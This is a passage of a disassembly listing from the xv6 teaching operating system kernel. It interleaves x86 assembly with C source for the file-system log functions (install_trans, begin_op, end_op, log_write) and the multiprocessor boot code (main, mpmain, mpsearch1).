80102d05: 5b pop %ebx
80102d06: 5e pop %esi
80102d07: 5f pop %edi
80102d08: 5d pop %ebp
80102d09: c3 ret
80102d0a: 66 90 xchg %ax,%ax
80102d0c: 66 90 xchg %ax,%ax
80102d0e: 66 90 xchg %ax,%ax
80102d10 <install_trans>:
static void
install_trans(void)
{
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
80102d10: 8b 0d 88 29 11 80 mov 0x80112988,%ecx
80102d16: 85 c9 test %ecx,%ecx
80102d18: 0f 8e 8a 00 00 00 jle 80102da8 <install_trans+0x98>
{
80102d1e: 55 push %ebp
80102d1f: 89 e5 mov %esp,%ebp
80102d21: 57 push %edi
80102d22: 56 push %esi
80102d23: 53 push %ebx
for (tail = 0; tail < log.lh.n; tail++) {
80102d24: 31 db xor %ebx,%ebx
{
80102d26: 83 ec 0c sub $0xc,%esp
80102d29: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
struct buf *lbuf = bread(log.dev, log.start+tail+1); // read log block
80102d30: a1 74 29 11 80 mov 0x80112974,%eax
80102d35: 83 ec 08 sub $0x8,%esp
80102d38: 01 d8 add %ebx,%eax
80102d3a: 83 c0 01 add $0x1,%eax
80102d3d: 50 push %eax
80102d3e: ff 35 84 29 11 80 pushl 0x80112984
80102d44: e8 87 d3 ff ff call 801000d0 <bread>
80102d49: 89 c7 mov %eax,%edi
struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst
80102d4b: 58 pop %eax
80102d4c: 5a pop %edx
80102d4d: ff 34 9d 8c 29 11 80 pushl -0x7feed674(,%ebx,4)
80102d54: ff 35 84 29 11 80 pushl 0x80112984
for (tail = 0; tail < log.lh.n; tail++) {
80102d5a: 83 c3 01 add $0x1,%ebx
struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst
80102d5d: e8 6e d3 ff ff call 801000d0 <bread>
80102d62: 89 c6 mov %eax,%esi
memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst
80102d64: 8d 47 5c lea 0x5c(%edi),%eax
80102d67: 83 c4 0c add $0xc,%esp
80102d6a: 68 00 02 00 00 push $0x200
80102d6f: 50 push %eax
80102d70: 8d 46 5c lea 0x5c(%esi),%eax
80102d73: 50 push %eax
80102d74: e8 97 1a 00 00 call 80104810 <memmove>
bwrite(dbuf); // write dst to disk
80102d79: 89 34 24 mov %esi,(%esp)
80102d7c: e8 1f d4 ff ff call 801001a0 <bwrite>
brelse(lbuf);
80102d81: 89 3c 24 mov %edi,(%esp)
80102d84: e8 57 d4 ff ff call 801001e0 <brelse>
brelse(dbuf);
80102d89: 89 34 24 mov %esi,(%esp)
80102d8c: e8 4f d4 ff ff call 801001e0 <brelse>
for (tail = 0; tail < log.lh.n; tail++) {
80102d91: 83 c4 10 add $0x10,%esp
80102d94: 39 1d 88 29 11 80 cmp %ebx,0x80112988
80102d9a: 7f 94 jg 80102d30 <install_trans+0x20>
}
}
80102d9c: 8d 65 f4 lea -0xc(%ebp),%esp
80102d9f: 5b pop %ebx
80102da0: 5e pop %esi
80102da1: 5f pop %edi
80102da2: 5d pop %ebp
80102da3: c3 ret
80102da4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102da8: f3 c3 repz ret
80102daa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80102db0 <write_head>:
// Write in-memory log header to disk.
// This is the true point at which the
// current transaction commits.
static void
write_head(void)
{
80102db0: 55 push %ebp
80102db1: 89 e5 mov %esp,%ebp
80102db3: 56 push %esi
80102db4: 53 push %ebx
struct buf *buf = bread(log.dev, log.start);
80102db5: 83 ec 08 sub $0x8,%esp
80102db8: ff 35 74 29 11 80 pushl 0x80112974
80102dbe: ff 35 84 29 11 80 pushl 0x80112984
80102dc4: e8 07 d3 ff ff call 801000d0 <bread>
struct logheader *hb = (struct logheader *) (buf->data);
int i;
hb->n = log.lh.n;
80102dc9: 8b 1d 88 29 11 80 mov 0x80112988,%ebx
for (i = 0; i < log.lh.n; i++) {
80102dcf: 83 c4 10 add $0x10,%esp
struct buf *buf = bread(log.dev, log.start);
80102dd2: 89 c6 mov %eax,%esi
for (i = 0; i < log.lh.n; i++) {
80102dd4: 85 db test %ebx,%ebx
hb->n = log.lh.n;
80102dd6: 89 58 5c mov %ebx,0x5c(%eax)
for (i = 0; i < log.lh.n; i++) {
80102dd9: 7e 16 jle 80102df1 <write_head+0x41>
80102ddb: c1 e3 02 shl $0x2,%ebx
80102dde: 31 d2 xor %edx,%edx
hb->block[i] = log.lh.block[i];
80102de0: 8b 8a 8c 29 11 80 mov -0x7feed674(%edx),%ecx
80102de6: 89 4c 16 60 mov %ecx,0x60(%esi,%edx,1)
80102dea: 83 c2 04 add $0x4,%edx
for (i = 0; i < log.lh.n; i++) {
80102ded: 39 da cmp %ebx,%edx
80102def: 75 ef jne 80102de0 <write_head+0x30>
}
bwrite(buf);
80102df1: 83 ec 0c sub $0xc,%esp
80102df4: 56 push %esi
80102df5: e8 a6 d3 ff ff call 801001a0 <bwrite>
brelse(buf);
80102dfa: 89 34 24 mov %esi,(%esp)
80102dfd: e8 de d3 ff ff call 801001e0 <brelse>
}
80102e02: 83 c4 10 add $0x10,%esp
80102e05: 8d 65 f8 lea -0x8(%ebp),%esp
80102e08: 5b pop %ebx
80102e09: 5e pop %esi
80102e0a: 5d pop %ebp
80102e0b: c3 ret
80102e0c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102e10 <initlog>:
{
80102e10: 55 push %ebp
80102e11: 89 e5 mov %esp,%ebp
80102e13: 53 push %ebx
80102e14: 83 ec 2c sub $0x2c,%esp
80102e17: 8b 5d 08 mov 0x8(%ebp),%ebx
initlock(&log.lock, "log");
80102e1a: 68 60 76 10 80 push $0x80107660
80102e1f: 68 40 29 11 80 push $0x80112940
80102e24: e8 e7 16 00 00 call 80104510 <initlock>
readsb(dev, &sb);
80102e29: 58 pop %eax
80102e2a: 8d 45 dc lea -0x24(%ebp),%eax
80102e2d: 5a pop %edx
80102e2e: 50 push %eax
80102e2f: 53 push %ebx
80102e30: e8 9b e8 ff ff call 801016d0 <readsb>
log.size = sb.nlog;
80102e35: 8b 55 e8 mov -0x18(%ebp),%edx
log.start = sb.logstart;
80102e38: 8b 45 ec mov -0x14(%ebp),%eax
struct buf *buf = bread(log.dev, log.start);
80102e3b: 59 pop %ecx
log.dev = dev;
80102e3c: 89 1d 84 29 11 80 mov %ebx,0x80112984
log.size = sb.nlog;
80102e42: 89 15 78 29 11 80 mov %edx,0x80112978
log.start = sb.logstart;
80102e48: a3 74 29 11 80 mov %eax,0x80112974
struct buf *buf = bread(log.dev, log.start);
80102e4d: 5a pop %edx
80102e4e: 50 push %eax
80102e4f: 53 push %ebx
80102e50: e8 7b d2 ff ff call 801000d0 <bread>
log.lh.n = lh->n;
80102e55: 8b 58 5c mov 0x5c(%eax),%ebx
for (i = 0; i < log.lh.n; i++) {
80102e58: 83 c4 10 add $0x10,%esp
80102e5b: 85 db test %ebx,%ebx
log.lh.n = lh->n;
80102e5d: 89 1d 88 29 11 80 mov %ebx,0x80112988
for (i = 0; i < log.lh.n; i++) {
80102e63: 7e 1c jle 80102e81 <initlog+0x71>
80102e65: c1 e3 02 shl $0x2,%ebx
80102e68: 31 d2 xor %edx,%edx
80102e6a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
log.lh.block[i] = lh->block[i];
80102e70: 8b 4c 10 60 mov 0x60(%eax,%edx,1),%ecx
80102e74: 83 c2 04 add $0x4,%edx
80102e77: 89 8a 88 29 11 80 mov %ecx,-0x7feed678(%edx)
for (i = 0; i < log.lh.n; i++) {
80102e7d: 39 d3 cmp %edx,%ebx
80102e7f: 75 ef jne 80102e70 <initlog+0x60>
brelse(buf);
80102e81: 83 ec 0c sub $0xc,%esp
80102e84: 50 push %eax
80102e85: e8 56 d3 ff ff call 801001e0 <brelse>
static void
recover_from_log(void)
{
read_head();
install_trans(); // if committed, copy from log to disk
80102e8a: e8 81 fe ff ff call 80102d10 <install_trans>
log.lh.n = 0;
80102e8f: c7 05 88 29 11 80 00 movl $0x0,0x80112988
80102e96: 00 00 00
write_head(); // clear the log
80102e99: e8 12 ff ff ff call 80102db0 <write_head>
}
80102e9e: 83 c4 10 add $0x10,%esp
80102ea1: 8b 5d fc mov -0x4(%ebp),%ebx
80102ea4: c9 leave
80102ea5: c3 ret
80102ea6: 8d 76 00 lea 0x0(%esi),%esi
80102ea9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102eb0 <begin_op>:
}
// called at the start of each FS system call.
void
begin_op(void)
{
80102eb0: 55 push %ebp
80102eb1: 89 e5 mov %esp,%ebp
80102eb3: 83 ec 14 sub $0x14,%esp
acquire(&log.lock);
80102eb6: 68 40 29 11 80 push $0x80112940
80102ebb: e8 90 17 00 00 call 80104650 <acquire>
80102ec0: 83 c4 10 add $0x10,%esp
80102ec3: eb 18 jmp 80102edd <begin_op+0x2d>
80102ec5: 8d 76 00 lea 0x0(%esi),%esi
while(1){
if(log.committing){
sleep(&log, &log.lock);
80102ec8: 83 ec 08 sub $0x8,%esp
80102ecb: 68 40 29 11 80 push $0x80112940
80102ed0: 68 40 29 11 80 push $0x80112940
80102ed5: e8 b6 11 00 00 call 80104090 <sleep>
80102eda: 83 c4 10 add $0x10,%esp
if(log.committing){
80102edd: a1 80 29 11 80 mov 0x80112980,%eax
80102ee2: 85 c0 test %eax,%eax
80102ee4: 75 e2 jne 80102ec8 <begin_op+0x18>
} else if(log.lh.n + (log.outstanding+1)*MAXOPBLOCKS > LOGSIZE){
80102ee6: a1 7c 29 11 80 mov 0x8011297c,%eax
80102eeb: 8b 15 88 29 11 80 mov 0x80112988,%edx
80102ef1: 83 c0 01 add $0x1,%eax
80102ef4: 8d 0c 80 lea (%eax,%eax,4),%ecx
80102ef7: 8d 14 4a lea (%edx,%ecx,2),%edx
80102efa: 83 fa 1e cmp $0x1e,%edx
80102efd: 7f c9 jg 80102ec8 <begin_op+0x18>
// this op might exhaust log space; wait for commit.
sleep(&log, &log.lock);
} else {
log.outstanding += 1;
release(&log.lock);
80102eff: 83 ec 0c sub $0xc,%esp
log.outstanding += 1;
80102f02: a3 7c 29 11 80 mov %eax,0x8011297c
release(&log.lock);
80102f07: 68 40 29 11 80 push $0x80112940
80102f0c: e8 ff 17 00 00 call 80104710 <release>
break;
}
}
}
80102f11: 83 c4 10 add $0x10,%esp
80102f14: c9 leave
80102f15: c3 ret
80102f16: 8d 76 00 lea 0x0(%esi),%esi
80102f19: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102f20 <end_op>:
// called at the end of each FS system call.
// commits if this was the last outstanding operation.
void
end_op(void)
{
80102f20: 55 push %ebp
80102f21: 89 e5 mov %esp,%ebp
80102f23: 57 push %edi
80102f24: 56 push %esi
80102f25: 53 push %ebx
80102f26: 83 ec 18 sub $0x18,%esp
int do_commit = 0;
acquire(&log.lock);
80102f29: 68 40 29 11 80 push $0x80112940
80102f2e: e8 1d 17 00 00 call 80104650 <acquire>
log.outstanding -= 1;
80102f33: a1 7c 29 11 80 mov 0x8011297c,%eax
if(log.committing)
80102f38: 8b 35 80 29 11 80 mov 0x80112980,%esi
80102f3e: 83 c4 10 add $0x10,%esp
log.outstanding -= 1;
80102f41: 8d 58 ff lea -0x1(%eax),%ebx
if(log.committing)
80102f44: 85 f6 test %esi,%esi
log.outstanding -= 1;
80102f46: 89 1d 7c 29 11 80 mov %ebx,0x8011297c
if(log.committing)
80102f4c: 0f 85 1a 01 00 00 jne 8010306c <end_op+0x14c>
panic("log.committing");
if(log.outstanding == 0){
80102f52: 85 db test %ebx,%ebx
80102f54: 0f 85 ee 00 00 00 jne 80103048 <end_op+0x128>
// begin_op() may be waiting for log space,
// and decrementing log.outstanding has decreased
// the amount of reserved space.
wakeup(&log);
}
release(&log.lock);
80102f5a: 83 ec 0c sub $0xc,%esp
log.committing = 1;
80102f5d: c7 05 80 29 11 80 01 movl $0x1,0x80112980
80102f64: 00 00 00
release(&log.lock);
80102f67: 68 40 29 11 80 push $0x80112940
80102f6c: e8 9f 17 00 00 call 80104710 <release>
}
static void
commit()
{
if (log.lh.n > 0) {
80102f71: 8b 0d 88 29 11 80 mov 0x80112988,%ecx
80102f77: 83 c4 10 add $0x10,%esp
80102f7a: 85 c9 test %ecx,%ecx
80102f7c: 0f 8e 85 00 00 00 jle 80103007 <end_op+0xe7>
struct buf *to = bread(log.dev, log.start+tail+1); // log block
80102f82: a1 74 29 11 80 mov 0x80112974,%eax
80102f87: 83 ec 08 sub $0x8,%esp
80102f8a: 01 d8 add %ebx,%eax
80102f8c: 83 c0 01 add $0x1,%eax
80102f8f: 50 push %eax
80102f90: ff 35 84 29 11 80 pushl 0x80112984
80102f96: e8 35 d1 ff ff call 801000d0 <bread>
80102f9b: 89 c6 mov %eax,%esi
struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block
80102f9d: 58 pop %eax
80102f9e: 5a pop %edx
80102f9f: ff 34 9d 8c 29 11 80 pushl -0x7feed674(,%ebx,4)
80102fa6: ff 35 84 29 11 80 pushl 0x80112984
for (tail = 0; tail < log.lh.n; tail++) {
80102fac: 83 c3 01 add $0x1,%ebx
struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block
80102faf: e8 1c d1 ff ff call 801000d0 <bread>
80102fb4: 89 c7 mov %eax,%edi
memmove(to->data, from->data, BSIZE);
80102fb6: 8d 40 5c lea 0x5c(%eax),%eax
80102fb9: 83 c4 0c add $0xc,%esp
80102fbc: 68 00 02 00 00 push $0x200
80102fc1: 50 push %eax
80102fc2: 8d 46 5c lea 0x5c(%esi),%eax
80102fc5: 50 push %eax
80102fc6: e8 45 18 00 00 call 80104810 <memmove>
bwrite(to); // write the log
80102fcb: 89 34 24 mov %esi,(%esp)
80102fce: e8 cd d1 ff ff call 801001a0 <bwrite>
brelse(from);
80102fd3: 89 3c 24 mov %edi,(%esp)
80102fd6: e8 05 d2 ff ff call 801001e0 <brelse>
brelse(to);
80102fdb: 89 34 24 mov %esi,(%esp)
80102fde: e8 fd d1 ff ff call 801001e0 <brelse>
for (tail = 0; tail < log.lh.n; tail++) {
80102fe3: 83 c4 10 add $0x10,%esp
80102fe6: 3b 1d 88 29 11 80 cmp 0x80112988,%ebx
80102fec: 7c 94 jl 80102f82 <end_op+0x62>
write_log(); // Write modified blocks from cache to log
write_head(); // Write header to disk -- the real commit
80102fee: e8 bd fd ff ff call 80102db0 <write_head>
install_trans(); // Now install writes to home locations
80102ff3: e8 18 fd ff ff call 80102d10 <install_trans>
log.lh.n = 0;
80102ff8: c7 05 88 29 11 80 00 movl $0x0,0x80112988
80102fff: 00 00 00
write_head(); // Erase the transaction from the log
80103002: e8 a9 fd ff ff call 80102db0 <write_head>
acquire(&log.lock);
80103007: 83 ec 0c sub $0xc,%esp
8010300a: 68 40 29 11 80 push $0x80112940
8010300f: e8 3c 16 00 00 call 80104650 <acquire>
wakeup(&log);
80103014: c7 04 24 40 29 11 80 movl $0x80112940,(%esp)
log.committing = 0;
8010301b: c7 05 80 29 11 80 00 movl $0x0,0x80112980
80103022: 00 00 00
wakeup(&log);
80103025: e8 16 12 00 00 call 80104240 <wakeup>
release(&log.lock);
8010302a: c7 04 24 40 29 11 80 movl $0x80112940,(%esp)
80103031: e8 da 16 00 00 call 80104710 <release>
80103036: 83 c4 10 add $0x10,%esp
}
80103039: 8d 65 f4 lea -0xc(%ebp),%esp
8010303c: 5b pop %ebx
8010303d: 5e pop %esi
8010303e: 5f pop %edi
8010303f: 5d pop %ebp
80103040: c3 ret
80103041: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
wakeup(&log);
80103048: 83 ec 0c sub $0xc,%esp
8010304b: 68 40 29 11 80 push $0x80112940
80103050: e8 eb 11 00 00 call 80104240 <wakeup>
release(&log.lock);
80103055: c7 04 24 40 29 11 80 movl $0x80112940,(%esp)
8010305c: e8 af 16 00 00 call 80104710 <release>
80103061: 83 c4 10 add $0x10,%esp
}
80103064: 8d 65 f4 lea -0xc(%ebp),%esp
80103067: 5b pop %ebx
80103068: 5e pop %esi
80103069: 5f pop %edi
8010306a: 5d pop %ebp
8010306b: c3 ret
panic("log.committing");
8010306c: 83 ec 0c sub $0xc,%esp
8010306f: 68 64 76 10 80 push $0x80107664
80103074: e8 17 d3 ff ff call 80100390 <panic>
80103079: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80103080 <log_write>:
// modify bp->data[]
// log_write(bp)
// brelse(bp)
void
log_write(struct buf *b)
{
80103080: 55 push %ebp
80103081: 89 e5 mov %esp,%ebp
80103083: 53 push %ebx
80103084: 83 ec 04 sub $0x4,%esp
int i;
if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1)
80103087: 8b 15 88 29 11 80 mov 0x80112988,%edx
{
8010308d: 8b 5d 08 mov 0x8(%ebp),%ebx
if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1)
80103090: 83 fa 1d cmp $0x1d,%edx
80103093: 0f 8f 9d 00 00 00 jg 80103136 <log_write+0xb6>
80103099: a1 78 29 11 80 mov 0x80112978,%eax
8010309e: 83 e8 01 sub $0x1,%eax
801030a1: 39 c2 cmp %eax,%edx
801030a3: 0f 8d 8d 00 00 00 jge 80103136 <log_write+0xb6>
panic("too big a transaction");
if (log.outstanding < 1)
801030a9: a1 7c 29 11 80 mov 0x8011297c,%eax
801030ae: 85 c0 test %eax,%eax
801030b0: 0f 8e 8d 00 00 00 jle 80103143 <log_write+0xc3>
panic("log_write outside of trans");
acquire(&log.lock);
801030b6: 83 ec 0c sub $0xc,%esp
801030b9: 68 40 29 11 80 push $0x80112940
801030be: e8 8d 15 00 00 call 80104650 <acquire>
for (i = 0; i < log.lh.n; i++) {
801030c3: 8b 0d 88 29 11 80 mov 0x80112988,%ecx
801030c9: 83 c4 10 add $0x10,%esp
801030cc: 83 f9 00 cmp $0x0,%ecx
801030cf: 7e 57 jle 80103128 <log_write+0xa8>
if (log.lh.block[i] == b->blockno) // log absorbtion
801030d1: 8b 53 08 mov 0x8(%ebx),%edx
for (i = 0; i < log.lh.n; i++) {
801030d4: 31 c0 xor %eax,%eax
if (log.lh.block[i] == b->blockno) // log absorbtion
801030d6: 3b 15 8c 29 11 80 cmp 0x8011298c,%edx
801030dc: 75 0b jne 801030e9 <log_write+0x69>
801030de: eb 38 jmp 80103118 <log_write+0x98>
801030e0: 39 14 85 8c 29 11 80 cmp %edx,-0x7feed674(,%eax,4)
801030e7: 74 2f je 80103118 <log_write+0x98>
for (i = 0; i < log.lh.n; i++) {
801030e9: 83 c0 01 add $0x1,%eax
801030ec: 39 c1 cmp %eax,%ecx
801030ee: 75 f0 jne 801030e0 <log_write+0x60>
break;
}
log.lh.block[i] = b->blockno;
801030f0: 89 14 85 8c 29 11 80 mov %edx,-0x7feed674(,%eax,4)
if (i == log.lh.n)
log.lh.n++;
801030f7: 83 c0 01 add $0x1,%eax
801030fa: a3 88 29 11 80 mov %eax,0x80112988
b->flags |= B_DIRTY; // prevent eviction
801030ff: 83 0b 04 orl $0x4,(%ebx)
release(&log.lock);
80103102: c7 45 08 40 29 11 80 movl $0x80112940,0x8(%ebp)
}
80103109: 8b 5d fc mov -0x4(%ebp),%ebx
8010310c: c9 leave
release(&log.lock);
8010310d: e9 fe 15 00 00 jmp 80104710 <release>
80103112: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
log.lh.block[i] = b->blockno;
80103118: 89 14 85 8c 29 11 80 mov %edx,-0x7feed674(,%eax,4)
8010311f: eb de jmp 801030ff <log_write+0x7f>
80103121: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80103128: 8b 43 08 mov 0x8(%ebx),%eax
8010312b: a3 8c 29 11 80 mov %eax,0x8011298c
if (i == log.lh.n)
80103130: 75 cd jne 801030ff <log_write+0x7f>
80103132: 31 c0 xor %eax,%eax
80103134: eb c1 jmp 801030f7 <log_write+0x77>
panic("too big a transaction");
80103136: 83 ec 0c sub $0xc,%esp
80103139: 68 73 76 10 80 push $0x80107673
8010313e: e8 4d d2 ff ff call 80100390 <panic>
panic("log_write outside of trans");
80103143: 83 ec 0c sub $0xc,%esp
80103146: 68 89 76 10 80 push $0x80107689
8010314b: e8 40 d2 ff ff call 80100390 <panic>
80103150 <mpmain>:
}
// Common CPU setup code.
static void
mpmain(void)
{
80103150: 55 push %ebp
80103151: 89 e5 mov %esp,%ebp
80103153: 53 push %ebx
80103154: 83 ec 04 sub $0x4,%esp
cprintf("cpu%d: starting %d\n", cpuid(), cpuid());
80103157: e8 74 09 00 00 call 80103ad0 <cpuid>
8010315c: 89 c3 mov %eax,%ebx
8010315e: e8 6d 09 00 00 call 80103ad0 <cpuid>
80103163: 83 ec 04 sub $0x4,%esp
80103166: 53 push %ebx
80103167: 50 push %eax
80103168: 68 a4 76 10 80 push $0x801076a4
8010316d: e8 ee d4 ff ff call 80100660 <cprintf>
idtinit(); // load idt register
80103172: e8 69 28 00 00 call 801059e0 <idtinit>
xchg(&(mycpu()->started), 1); // tell startothers() we're up
80103177: e8 d4 08 00 00 call 80103a50 <mycpu>
8010317c: 89 c2 mov %eax,%edx
xchg(volatile uint *addr, uint newval)
{
uint result;
// The + in "+m" denotes a read-modify-write operand.
asm volatile("lock; xchgl %0, %1" :
8010317e: b8 01 00 00 00 mov $0x1,%eax
80103183: f0 87 82 a0 00 00 00 lock xchg %eax,0xa0(%edx)
scheduler(); // start running processes
8010318a: e8 21 0c 00 00 call 80103db0 <scheduler>
8010318f: 90 nop
80103190 <mpenter>:
{
80103190: 55 push %ebp
80103191: 89 e5 mov %esp,%ebp
80103193: 83 ec 08 sub $0x8,%esp
switchkvm();
80103196: e8 35 39 00 00 call 80106ad0 <switchkvm>
seginit();
8010319b: e8 a0 38 00 00 call 80106a40 <seginit>
lapicinit();
801031a0: e8 9b f7 ff ff call 80102940 <lapicinit>
mpmain();
801031a5: e8 a6 ff ff ff call 80103150 <mpmain>
801031aa: 66 90 xchg %ax,%ax
801031ac: 66 90 xchg %ax,%ax
801031ae: 66 90 xchg %ax,%ax
801031b0 <main>:
{
801031b0: 8d 4c 24 04 lea 0x4(%esp),%ecx
801031b4: 83 e4 f0 and $0xfffffff0,%esp
801031b7: ff 71 fc pushl -0x4(%ecx)
801031ba: 55 push %ebp
801031bb: 89 e5 mov %esp,%ebp
801031bd: 53 push %ebx
801031be: 51 push %ecx
kinit1(end, P2V(4*1024*1024)); // phys page allocator
801031bf: 83 ec 08 sub $0x8,%esp
801031c2: 68 00 00 40 80 push $0x80400000
801031c7: 68 68 57 11 80 push $0x80115768
801031cc: e8 2f f5 ff ff call 80102700 <kinit1>
kvmalloc(); // kernel page table
801031d1: e8 ca 3d 00 00 call 80106fa0 <kvmalloc>
mpinit(); // detect other processors
801031d6: e8 75 01 00 00 call 80103350 <mpinit>
lapicinit(); // interrupt controller
801031db: e8 60 f7 ff ff call 80102940 <lapicinit>
seginit(); // segment descriptors
801031e0: e8 5b 38 00 00 call 80106a40 <seginit>
picinit(); // disable pic
801031e5: e8 46 03 00 00 call 80103530 <picinit>
ioapicinit(); // another interrupt controller
801031ea: e8 41 f3 ff ff call 80102530 <ioapicinit>
consoleinit(); // console hardware
801031ef: e8 cc da ff ff call 80100cc0 <consoleinit>
uartinit(); // serial port
801031f4: e8 17 2b 00 00 call 80105d10 <uartinit>
pinit(); // process table
801031f9: e8 32 08 00 00 call 80103a30 <pinit>
tvinit(); // trap vectors
801031fe: e8 5d 27 00 00 call 80105960 <tvinit>
binit(); // buffer cache
80103203: e8 38 ce ff ff call 80100040 <binit>
fileinit(); // file table
80103208: e8 53 de ff ff call 80101060 <fileinit>
ideinit(); // disk
8010320d: e8 fe f0 ff ff call 80102310 <ideinit>
// Write entry code to unused memory at 0x7000.
// The linker has placed the image of entryother.S in
// _binary_entryother_start.
code = P2V(0x7000);
memmove(code, _binary_entryother_start, (uint)_binary_entryother_size);
80103212: 83 c4 0c add $0xc,%esp
80103215: 68 8a 00 00 00 push $0x8a
8010321a: 68 8c a4 10 80 push $0x8010a48c
8010321f: 68 00 70 00 80 push $0x80007000
80103224: e8 e7 15 00 00 call 80104810 <memmove>
for(c = cpus; c < cpus+ncpu; c++){
80103229: 69 05 c0 2f 11 80 b0 imul $0xb0,0x80112fc0,%eax
80103230: 00 00 00
80103233: 83 c4 10 add $0x10,%esp
80103236: 05 40 2a 11 80 add $0x80112a40,%eax
8010323b: 3d 40 2a 11 80 cmp $0x80112a40,%eax
80103240: 76 71 jbe 801032b3 <main+0x103>
80103242: bb 40 2a 11 80 mov $0x80112a40,%ebx
80103247: 89 f6 mov %esi,%esi
80103249: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
if(c == mycpu()) // We've started already.
80103250: e8 fb 07 00 00 call 80103a50 <mycpu>
80103255: 39 d8 cmp %ebx,%eax
80103257: 74 41 je 8010329a <main+0xea>
continue;
// Tell entryother.S what stack to use, where to enter, and what
// pgdir to use. We cannot use kpgdir yet, because the AP processor
// is running in low memory, so we use entrypgdir for the APs too.
stack = kalloc();
80103259: e8 72 f5 ff ff call 801027d0 <kalloc>
*(void**)(code-4) = stack + KSTACKSIZE;
8010325e: 05 00 10 00 00 add $0x1000,%eax
*(void(**)(void))(code-8) = mpenter;
80103263: c7 05 f8 6f 00 80 90 movl $0x80103190,0x80006ff8
8010326a: 31 10 80
*(int**)(code-12) = (void *) V2P(entrypgdir);
8010326d: c7 05 f4 6f 00 80 00 movl $0x109000,0x80006ff4
80103274: 90 10 00
*(void**)(code-4) = stack + KSTACKSIZE;
80103277: a3 fc 6f 00 80 mov %eax,0x80006ffc
lapicstartap(c->apicid, V2P(code));
8010327c: 0f b6 03 movzbl (%ebx),%eax
8010327f: 83 ec 08 sub $0x8,%esp
80103282: 68 00 70 00 00 push $0x7000
80103287: 50 push %eax
80103288: e8 03 f8 ff ff call 80102a90 <lapicstartap>
8010328d: 83 c4 10 add $0x10,%esp
// wait for cpu to finish mpmain()
while(c->started == 0)
80103290: 8b 83 a0 00 00 00 mov 0xa0(%ebx),%eax
80103296: 85 c0 test %eax,%eax
80103298: 74 f6 je 80103290 <main+0xe0>
for(c = cpus; c < cpus+ncpu; c++){
8010329a: 69 05 c0 2f 11 80 b0 imul $0xb0,0x80112fc0,%eax
801032a1: 00 00 00
801032a4: 81 c3 b0 00 00 00 add $0xb0,%ebx
801032aa: 05 40 2a 11 80 add $0x80112a40,%eax
801032af: 39 c3 cmp %eax,%ebx
801032b1: 72 9d jb 80103250 <main+0xa0>
kinit2(P2V(4*1024*1024), P2V(PHYSTOP)); // must come after startothers()
801032b3: 83 ec 08 sub $0x8,%esp
801032b6: 68 00 00 00 8e push $0x8e000000
801032bb: 68 00 00 40 80 push $0x80400000
801032c0: e8 ab f4 ff ff call 80102770 <kinit2>
userinit(); // first user process
801032c5: e8 56 08 00 00 call 80103b20 <userinit>
mpmain(); // finish this processor's setup
801032ca: e8 81 fe ff ff call 80103150 <mpmain>
801032cf: 90 nop
801032d0 <mpsearch1>:
}
// Look for an MP structure in the len bytes at addr.
static struct mp*
mpsearch1(uint a, int len)
{
801032d0: 55 push %ebp
801032d1: 89 e5 mov %esp,%ebp
801032d3: 57 push %edi
801032d4: 56 push %esi
uchar *e, *p, *addr;
addr = P2V(a);
801032d5: 8d b0 00 00 00 80 lea -0x80000000(%eax),%esi
{
801032db: 53 push %ebx
e = addr+len;
801032dc: 8d 1c 16 lea (%esi,%edx,1),%ebx
{
801032df: 83 ec 0c sub $0xc,%esp
for(p = addr; p < e; p += sizeof(struct mp))
801032e2: 39 de cmp %ebx,%esi
801032e4: 72 10 jb 801032f6 <mpsearch1+0x26>
801032e6: eb 50 jmp 80103338 <mpsearch1+0x68>
801032e8: 90 nop
801032e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801032f0: 39 fb cmp %edi,%ebx
801032f2: 89 fe mov %edi,%esi
801032f4: 76 42 jbe 80103338 <mpsearch1+0x68>
if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0)
801032f6: 83 ec 04 sub $0x4,%esp
801032f9: 8d 7e 10 lea 0x10(%esi),%edi
801032fc: 6a 04 push $0x4
801032fe: 68 b8 76 10 80 push $0x801076b8
80103303: 56 push %esi
80103304: e8 a7 14 00 00 call 801047b0 <memcmp>
80103309: 83 c4 10 add $0x10,%esp
8010330c: 85 c0 test %eax,%eax
8010330e: 75 e0 jne 801032f0 <mpsearch1+0x20>
80103310: 89 f1 mov %esi,%ecx
80103312: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
sum += addr[i];
80103318: 0f b6 11 movzbl (%ecx),%edx
8010331b: 83 c1 01 add $0x1,%ecx
8010331e: 01 d0 add %edx,%eax
for(i=0; i<len; i++)
80103320: 39 f9 cmp %edi,%ecx
80103322: 75 f4 jne 80103318 <mpsearch1+0x48>
if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0)
80103324: 84 c0 test %al,%al
80103326: 75 c8 jne 801032f0 <mpsearch1+0x20>
return (struct mp*)p;
return 0;
}
80103328: 8d 65 f4 lea -0xc(%ebp),%esp
8010332b: 89 f0 mov %esi,%eax
8010332d: 5b pop %ebx
8010332e: 5e pop %esi
8010332f: 5f pop %edi
80103330: 5d pop %ebp
80103331: c3 ret
80103332: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80103338: 8d 65 f4 lea -0xc(%ebp),%esp
return 0;
8010333b: 31 f6 xor %esi,%esi
}
8010333d: 89 f0 mov %esi,%eax
8010333f: 5b pop %ebx
